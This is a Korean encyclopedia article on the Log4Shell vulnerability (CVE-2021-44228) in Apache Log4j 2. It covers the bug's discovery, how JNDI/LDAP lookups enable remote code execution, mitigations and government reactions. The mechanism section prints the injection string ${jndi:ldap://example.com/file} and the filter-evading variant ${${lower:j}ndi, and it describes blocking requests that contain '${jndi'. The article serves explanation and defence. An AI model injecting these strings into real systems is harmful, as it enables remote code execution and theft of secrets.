Log4Shell
CVE 식별자 | CVE-2021-44228 |
---|---|
발견일 | 2021년 11월 24일 |
패치일 | 2021년 12월 6일 |
발견자 | 알리바바 클라우드 보안팀의 천자오쥔[1] |
영향을 받는 소프트웨어 | Log4j 2를 사용하여 사용자 입력을 기록하는 애플리케이션 |
Log4Shell 또는 CVE-2021-44228는 저명한 자바 로깅 프레임워크 Log4j의 제로 데이 임의 코드 실행 취약점이다.[2][3] 이 취약점은 알리바바의 클라우드 보안팀에 의해 2021년 11월 24일 아파치에 비공개로 전달되었으며 2021년 12월 9일 대중에게 공개되었다.[1][4][5]
이 취약점은 LDAP과 JNDI 요청을 검사하지 않는 Log4j의 특징을 이용하여,[6][2][7] 공격자가 임의의 자바 코드를 서버 또는 기타 컴퓨터에서 실행할 수 있게 한다.[5] 영향을 받는 서비스에는 아마존 AWS,[8] 클라우드플레어, 아이클라우드, 마인크래프트 자바 에디션,[9] 스팀, 텐센트 QQ가 포함된다.[6][10] 루나섹(LunaSec)은 이 취약점을 "파멸적 부분의 설계적 실패"[5]로, Tenable은 "지난 10년 이내의 가장 심각한, 단일로서는 최대의 취약점"으로 특징을 지었다.[11] Log4j 프로젝트를 맡는 아파치 소프트웨어 재단은 Log4Shell에 CVSS 점수 최고점인 10점을 부여하였다.[12]
배경
Log4j는 소프트웨어 개발자가 자신의 애플리케이션 안에 다양한 데이터의 로그 기록을 남길 수 있게 하는 오픈 소스 로깅 프레임워크이다. 이 데이터는 사용자 입력을 포함할 수도 있다.[13] 자바 애플리케이션, 특히 기업용 소프트웨어 전반에 사용된다.[5] 2001년 Ceki Gülcü가 처음 개발한 Log4j는 현재 아파치 소프트웨어 재단 프로젝트의 하나인 아파치 로깅 서비스의 일부이다.[14]
동작
JNDI는 프로그램 런타임 시 지정된 데이터 경로의 자바 오브젝트 검색을 허용한다. JNDI는 여러 디렉터리 인터페이스를 지렛대처럼 활용할 수 있으며 각 인터페이스는 각기 다른 파일 검색 스킴을 제공한다. 이 인터페이스들 중에는 자바로 개발되지 않은 프로토콜의 하나인 LDAP이 있으며[15] 이는 로컬이든 인터넷 어느 곳에서든 적절한 서버로부터 오브젝트 데이터를 URL로 받아온다.[16]
기본 구성에서 문자열 로그를 기록할 때 Log4j 2는 ${prefix:name}
형태의 식에 문자열 치환을 수행한다.[16] 예를 들어, Text: ${java:version}
는 Text: Java version 1.7.0_67
로 변환될 수 있다.[17] 인식되는 식들 중에 ${jndi:<lookup>}
가 있다. LDAP을 통해 lookup을 지정함으로써 임의의 URL을 조회하고 자바 오브젝트 데이터로 로드할 수 있다. 예를 들어 ${jndi:ldap://example.com/file}
는 인터넷에 연결되어 있다면 해당 URL로부터 데이터를 로드하게 된다. 로깅이 되는 문자열을 입력함으로써 공격자는 퍼블릭 URL에서 호스팅되는 악성 코드를 로드하고 실행할 수 있다.[16] 데이터의 실행을 비활성화해 놓았더라도 공격자는 여전히 기밀 환경 변수 등의 데이터를 (URL 배치를 통해) 받아올 수 있으며 여기서 치환을 거쳐 공격자의 서버로 송신할 수 있다.[18][19]
HTTP 요청이 자주 로깅되기 때문에 공통 공격 벡터는 악성 문자열을 HTTP 요청 URL이나 흔히 로깅되는 HTTP 헤더(예: User-Agent
)에 배치시킨다. 초기의 완화 방법에는 "${jndi
" 등의 잠재적으로 악성일 가능성이 높은 콘텐츠를 포함하는 모든 요청을 차단하는 것이 포함되었다.[20] 아무렇지 않게 수행한 검색은 요청을 모호하게 만듦으로써 우회가 가능하다: 예를 들어 ${${lower:j}ndi
는 문자 j에 소문자 처리를 수행한 이후 JNDI 룩업으로 변환된다.[21] 입력이 즉시 로깅되지 않더라도 나중에 내부 처리 중에 로깅한 다음에 콘텐츠의 실행이 가능할 수 있다.[16]
완화
이 취약점의 픽스가 취약점이 공표되기 3일 전 2021년 12월 6일 Log4j 버전 2.15.0-rc1에서 출시되었다.[22] 이 픽스에는 여러 시스템 속성을 사용하여 구성이 가능한 룩업(lookup)에 사용될 수 있는 서버와 프로토콜을 제한하는 것이 포함되었다. 이는 log4j2.formatMsgNoLookups
시스템 속성을 대체하였다. 2.10.0 이후의 과거 버전에서는 취약점을 완화하는데 해당 속성을 true
로 설정하는 것이 권장된다.[23][7][12] 2.10.0 이전 버전의 경우 org.apache.logging.log4j.core.lookup.JndiLookup
클래스를 클래스패스에서 제거해야 한다.[12]
게다가 JNDI를 사용하는 모든 기능은 2.15.1 이상부터 기본적으로 비활성화된다.[24]
새 버전의 자바 런타임 환경(JRE) 또한 원격 코드의 로드를 기본적으로 차단함으로써 이 취약점을 완화시킨다. 다만 다른 공격 벡터가 여전히 특정 애플리케이션에 존재한다.[18][2][25] 내장된 자바 패키지에서 취약한 log4j 버전의 이용을 검출하는데 도움을 주는 여러 방식과 도구가 게시되었다.[26]
반응과 영향
미국에서 사이버보안 및 인프라 보안국(CISA)의 감독 젠 이스털리(Jen Easterly)는 이 취약점을 심각한 것으로 보고 벤더들에게 소프트웨어 업데이트를 우선할 것을 충고했다.[27] 캐나다 사이버 보안 센터(CCCS)는 단체들에게 즉각적인 조치를 취할 것을 주문했다.[28] 독일의 연방정보기술보안청(Bundesamt für Sicherheit in der Informationstechnik, BSI)은 이 취약점을 기관 최고의 위협 수준으로 지정하였고 이를 "극히 심각한 위협적 상황"으로 언급하였다. 여러 공격들이 이미 성공적이었음이 밝혀졌고 취약점의 정도가 조사하기 힘든 상황이라고 보고되었다.[29][30]
각주
- ↑ 가 나 “Log4Shell Vulnerability is the Coal in our Stocking for 2021”. 《맥아피》 (영어). 2021년 12월 10일. 2021년 12월 12일에 확인함.
- ↑ 가 나 다 “Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package”. 《www.lunasec.io》 (영어). 2021년 12월 9일. 2021년 12월 12일에 확인함.
- ↑ “CVE - CVE-2021-44228”. 《cve.mitre.org》. 2021년 12월 12일에 확인함.
- ↑ “Worst Apache Log4j RCE Zero day Dropped on Internet”. 《www.cyberkendra.com》. 2021년 12월 9일. 2021년 12월 12일에 확인함.
- ↑ 가 나 다 라 Newman, Lily Hay. “‘The Internet Is on Fire’”. 《Wired》 (미국 영어). ISSN 1059-1028. 2021년 12월 12일에 확인함.
- ↑ 가 나 “Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit”. 《PC Magazine》 (영어). 2021년 12월 12일에 확인함.
- ↑ 가 나 Goodin, Dan (2021년 12월 10일). “Zero-day in ubiquitous Log4j tool poses a grave threat to the Internet”. 《Ars Technica》 (미국 영어). 2021년 12월 12일에 확인함.
- ↑ “Update for Apache Log4j2 Issue (CVE-2021-44228)”. 《aws.amazon.com》. 2021년 12월 12일. 2021년 12월 13일에 확인함.
- ↑ “Security Vulnerability in Minecraft: Java Edition”. 《모장 스튜디오》. 2021년 12월 13일에 확인함.
- ↑ Goodin, Dan (2021년 12월 10일). “The Internet's biggest players are all affected by critical Log4Shell 0-day”. 《ArsTechnica》. 2021년 12월 13일에 확인함.
- ↑ Press, Associated (2021년 12월 11일). “Recently uncovered software flaw ‘most critical vulnerability of the last decade’”. 《가디언》 (영어). 2021년 12월 12일에 확인함.
- ↑ 가 나 다 “Log4j – Apache Log4j Security Vulnerabilities”. 《logging.apache.org》. 2021년 12월 12일에 확인함.
- ↑ Yan, Tao; Deng, Qi; Zhang, Haozhe; Fu, Yu; Grunzweig, Josh (2021년 12월 10일). “Another Apache Log4j Vulnerability Is Actively Exploited in the Wild (CVE-2021-44228)”. 《Unit 42》. 팰로앨토 네트웍스.
- ↑ “Log4j – Apache Log4j 2”. 《logging.apache.org》. 2021년 12월 12일에 확인함.
- ↑ Network Working Group (June 2006). “RFC 4511: Lightweight Directory Access Protocol (LDAP)”. International Electronic Task Force. 2021년 12월 13일에 확인함.
- ↑ 가 나 다 라 Graham-Cumming, John (2021년 12월 10일). “Inside the Log4j2 vulnerability (CVE-2021-44228)”. 《The Cloudflare Blog》 (영어). 2021년 12월 13일에 확인함.
- ↑ “Lookups”. 《Apache Logging Services》. Apache Software Foundation. 2021년 12월 6일. 2021년 12월 13일에 확인함.
- ↑ 가 나 Ducklin, Paul (2021년 12월 12일). “Log4Shell explained – how it works, why you need to know, and how to fix it”. 《Naked Security》. Sophos. 2021년 12월 12일에 확인함.
- ↑ Miessler, Daniel (2021년 12월 13일). “The log4j (Log4Shell) Situation”. 2021년 12월 12일에 확인함.
- ↑ Gabor, Gabriel. “CVE-2021-44228 - Log4j RCE 0-day mitigation”. 《The Cloudflare Blog》. 2021년 12월 13일에 확인함.
- ↑ Hahad, Mounir (2021년 12월 12일). “Apache Log4j Vulnerability CVE-2021-44228 Raises widespread Concerns”. 2021년 12월 12일에 확인함.
- ↑ “Restrict LDAP access via JNDI by rgoers - Pull Request #608 - apache/logging-log4j2”. 《깃허브》 (영어). 2021년 12월 5일. 2021년 12월 12일에 확인함.
- ↑ “LOG4J2-3198: Log4j2 no longer formats lookups in messages by default”. 《깃허브》 (영어). 2021년 12월 5일.
- ↑ “LOG4J2-3208: Disable JNDI by default”. 《issues.apache.org》. 2021년 12월 11일.
- ↑ “Java(TM) SE Development Kit 8, Update 121 (JDK 8u121) Release Notes” (영어). Oracle. 2017년 1월 17일. 2021년 12월 13일에 확인함.
- ↑ “Guide: How To Detect and Mitigate the Log4Shell Vulnerability (CVE-2021-44228)”. 《www.lunasec.io》 (영어). 2021년 12월 13일. 2021년 12월 13일에 확인함.
- ↑ “STATEMENT FROM CISA DIRECTOR EASTERLY ON "LOG4J" VULNERABILITY”. 《CISA》. 2021년 12월 11일.
- ↑ “Statement from the Minister of National Defence on Apache Vulnerability and Call to Canadian Organizations to Take Urgent Action”. 《Government of Canada》 (영어). 2021년 12월 12일.
- ↑ “BSI warnt vor Sicherheitslücke”. 《Tagesschau》. 2021년 12월 12일.
- ↑ “Warnstufe Rot: Schwachstelle Log4Shell führt zu extrem kritischer Bedrohungslage” [Red alarm: Log4Shell vulnerability causes extremely critical threat situation]. 《BSI press service》 (독일어). 2021년 12월 12일.